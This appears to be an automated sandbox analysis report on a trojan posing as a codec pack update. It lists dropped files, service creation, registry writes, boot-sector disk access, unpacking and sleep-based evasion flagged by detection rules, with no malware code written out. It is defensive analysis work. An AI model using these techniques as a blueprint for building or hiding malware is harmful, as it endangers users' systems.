Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: netutils.dll	Jump to behavior

Source: 0RWRPBSuDx.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: codecpackupdate.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: _RegDLL.tmp.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: WWAN_MobileFixup 2.33.197.66.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/26@1/2

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Code function: 3_2_00A008B8 FormatMessageA,GetLastError,

3_2_00A008B8

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: 0_2_0040936C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		0_2_0040936C
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00453D4C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		1_2_00453D4C

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Code function: 1_2_00454574 GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceA,

1_2_00454574

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: CreateServiceA,CloseServiceHandle,		2_2_00402572
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: CreateServiceA,CloseServiceHandle,		3_2_00402572

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe

Code function: 0_2_00409AD0 FindResourceA,SizeofResource,LoadResource,LockResource,

0_2_00409AD0

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Code function: 2_2_00402345 StartServiceCtrlDispatcherA,

2_2_00402345

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 2_2_00402345 StartServiceCtrlDispatcherA,		2_2_00402345
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_00402345 StartServiceCtrlDispatcherA,		3_2_00402345

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

File created: C:\Users\user\AppData\Local\Codec Pack Update

Jump to behavior

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe

File created: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: 0RWRPBSuDx.exe

Virustotal: Detection: 9%

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe

File read: C:\Users\user\Desktop\0RWRPBSuDx.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\0RWRPBSuDx.exe "C:\Users\user\Desktop\0RWRPBSuDx.exe"
Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Process created: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp "C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp" /SL5="$20420,1594531,54272,C:\Users\user\Desktop\0RWRPBSuDx.exe"
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Process created: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe "C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe" -i
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Process created: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe "C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe" -s
Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Process created: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp "C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp" /SL5="$20420,1594531,54272,C:\Users\user\Desktop\0RWRPBSuDx.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Process created: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe "C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe" -i	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Process created: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe "C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe" -s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 0RWRPBSuDx.exe

Static file information: File size 1954271 > 1048576

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Unpacked PE file: 2.2.codecpackupdate.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;_char3_:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Unpacked PE file: 3.2.codecpackupdate.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;_char3_:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Unpacked PE file: 2.2.codecpackupdate.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Unpacked PE file: 3.2.codecpackupdate.exe.400000.0.unpack

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Code function: 1_2_00447DC0 LoadLibraryExA,LoadLibraryA,GetProcAddress,

1_2_00447DC0

Source: codecpackupdate.exe.1.dr	Static PE information: section name: _char3_
Source: is-K7UM1.tmp.1.dr	Static PE information: section name: /4
Source: is-K5GCJ.tmp.1.dr	Static PE information: section name: /4
Source: is-MU2B9.tmp.1.dr	Static PE information: section name: /4
Source: is-IQC7T.tmp.1.dr	Static PE information: section name: /4
Source: is-7NJT9.tmp.1.dr	Static PE information: section name: /4
Source: is-06H7C.tmp.1.dr	Static PE information: section name: /4
Source: WWAN_MobileFixup 2.33.197.66.exe.2.dr	Static PE information: section name: _char3_

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: 0_2_00406518 push 00406555h; ret	0_2_0040654D
Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: 0_2_00408028 push ecx; mov dword ptr [esp], eax	0_2_0040802D
Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: 0_2_004040B5 push eax; ret	0_2_004040F1
Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: 0_2_00404185 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: 0_2_00404206 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: 0_2_0040C218 push eax; ret	0_2_0040C219
Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: 0_2_004042E8 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: 0_2_00404283 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: 0_2_00408E5C push 00408E8Fh; ret	0_2_00408E87
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_004098B4 push 004098F1h; ret	1_2_004098E9
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0047E194 push 0047E272h; ret	1_2_0047E26A
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0045C1BC push ecx; mov dword ptr [esp], eax	1_2_0045C1C1
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_004062CC push ecx; mov dword ptr [esp], eax	1_2_004062CD
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00410640 push ecx; mov dword ptr [esp], edx	1_2_00410645
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0040A6C8 push esp; retf	1_2_0040A6D1
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00430700 push ecx; mov dword ptr [esp], eax	1_2_00430705
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00412898 push 004128FBh; ret	1_2_004128F3
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00442CD4 push ecx; mov dword ptr [esp], ecx	1_2_00442CD8
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00450C80 push 00450CB3h; ret	1_2_00450CAB
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00472D24 push ecx; mov dword ptr [esp], edx	1_2_00472D25
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0040CF98 push ecx; mov dword ptr [esp], edx	1_2_0040CF9A
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0040546D push eax; ret	1_2_004054A9
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0040F4F8 push ecx; mov dword ptr [esp], edx	1_2_0040F4FA
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0040553D push 00405749h; ret	1_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_004055BE push 00405749h; ret	1_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0040563B push 00405749h; ret	1_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_004576DC push 00457720h; ret	1_2_00457718
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_004056A0 push 00405749h; ret	1_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0047F7E8 push ecx; mov dword ptr [esp], ecx	1_2_0047F7ED
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00419B98 push ecx; mov dword ptr [esp], ecx	1_2_00419B9D
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00455E70 push 00455EA8h; ret	1_2_00455EA0

Source: codecpackupdate.exe.1.dr	Static PE information: section name: .text entropy: 7.659657621272276
Source: WWAN_MobileFixup 2.33.197.66.exe.2.dr	Static PE information: section name: .text entropy: 7.659657621272276

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,FindCloseChangeNotification, \\.\PhysicalDrive0	2_2_00401A4F
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,FindCloseChangeNotification, \\.\PhysicalDrive0	3_2_00401A4F
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,FindCloseChangeNotification, \\.\PhysicalDrive0	3_2_009FF7D6

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\libbz2-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\is-IQC7T.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\libvorbis-0.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\is-K7UM1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\is-K5GCJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	File created: C:\ProgramData\WWAN_MobileFixup 2.33.197.66\WWAN_MobileFixup 2.33.197.66.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\libogg-0.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\is-MD4P1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\libgcc_s_dw2-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\libwinpthread-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	File created: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\is-MU2B9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\is-7NJT9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\is-06H7C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File created: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

File created: C:\ProgramData\WWAN_MobileFixup 2.33.197.66\WWAN_MobileFixup 2.33.197.66.exe

Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,FindCloseChangeNotification, \\.\PhysicalDrive0	2_2_00401A4F
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,FindCloseChangeNotification, \\.\PhysicalDrive0	3_2_00401A4F
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,FindCloseChangeNotification, \\.\PhysicalDrive0	3_2_009FF7D6

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Code function: 2_2_00402345 StartServiceCtrlDispatcherA,

2_2_00402345

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00423B7C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	1_2_00423B7C
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00423B7C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	1_2_00423B7C
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0042414C IsIconic,SetActiveWindow,SetFocus,	1_2_0042414C
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00424104 IsIconic,SetActiveWindow,	1_2_00424104
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_004182F4 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	1_2_004182F4
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_004227CC SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,	1_2_004227CC
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00417508 IsIconic,GetCapture,	1_2_00417508
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0047DB50 IsIconic,GetWindowLongA,ShowWindow,ShowWindow,	1_2_0047DB50
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00417C40 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	1_2_00417C40
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00417C3E IsIconic,SetWindowPos,	1_2_00417C3E

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Code function: 1_2_0044AEEC LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_0044AEEC

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,	2_2_00401B4B
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,	3_2_00401B4B
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,	3_2_009FF8DA

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Window / User API: threadDelayed 9701

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Codec Pack Update\libbz2-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Codec Pack Update\is-IQC7T.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Codec Pack Update\libvorbis-0.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Codec Pack Update\is-K7UM1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Codec Pack Update\is-K5GCJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Codec Pack Update\libogg-0.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Codec Pack Update\is-MD4P1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Codec Pack Update\libgcc_s_dw2-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Codec Pack Update\libwinpthread-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Codec Pack Update\is-MU2B9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Codec Pack Update\is-7NJT9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Codec Pack Update\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Codec Pack Update\is-06H7C.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe

Evasive API call chain: GetSystemTime,DecisionNodes

graph_0-6445

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_2-2438

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe TID: 7148	Thread sleep count: 120 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe TID: 7148	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe TID: 2044	Thread sleep count: 89 > 30	Jump to behavior
